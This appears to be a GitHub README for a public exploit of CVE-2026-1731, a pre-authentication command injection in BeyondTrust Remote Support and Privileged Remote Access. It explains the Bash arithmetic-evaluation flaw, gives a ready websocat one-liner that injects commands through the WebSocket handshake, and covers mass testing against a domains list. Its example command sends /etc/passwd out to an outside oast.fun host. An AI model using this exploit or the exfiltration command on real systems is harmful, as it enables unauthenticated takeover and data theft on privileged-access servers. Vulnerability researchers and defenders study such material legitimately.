win3zz/cve-2026-1731CVE-2026-1731 - Critical command injection vulnerability in BeyondTrust Remote Support and Privileged Remote Access due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script
[!WARNING] This script is intended for educational and research purposes only. Do not use it against systems without explicit permission. Unauthorized access or testing is illegal and unethical. Read the full DISCLAIMER before using this script.
This script demonstrates a critical command injection vulnerability (CVE-2026-1731) affecting BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The issue originates from the same WebSocket-reachable endpoint involved in the earlier high-profile CVE-2024-12356, making this a closely related variant.
The vulnerability exists because the server's thin-scc-wrapper script performs arithmetic comparisons on attacker-controlled input, specifically the remoteVersion value sent during the WebSocket handshake. Bash treats operands in numeric comparisons as expressions, not plain strings, which allows crafted payloads like a[$(cmd)]0 to trigger arbitrary command execution during evaluation.
Even though BeyondTrust added a numeric sanity check in this patch cycle, it does not prevent Bash from performing expression evaluation later, leaving the endpoint exploitable. Attackers can gain code execution simply by opening a WebSocket connection and sending a malicious version value before authentication.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Place it in the same folder as your Python script.)
Or move it system-wide:
sudo mv websocat /usr/local/bin/
domains.txt in the same directoryAdd the URLs you want to test:
example1.com
example2.com
example3.com
Edit the following line in the script to configure the command you want the WebSocket exploit to execute:
CMD = "YOUR-COMMAND-HERE"
For example:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
Once the command is set, run the script:
python3 exploit.py
Or make it executable and run it directly:
chmod +x exploit.py
./exploit.py
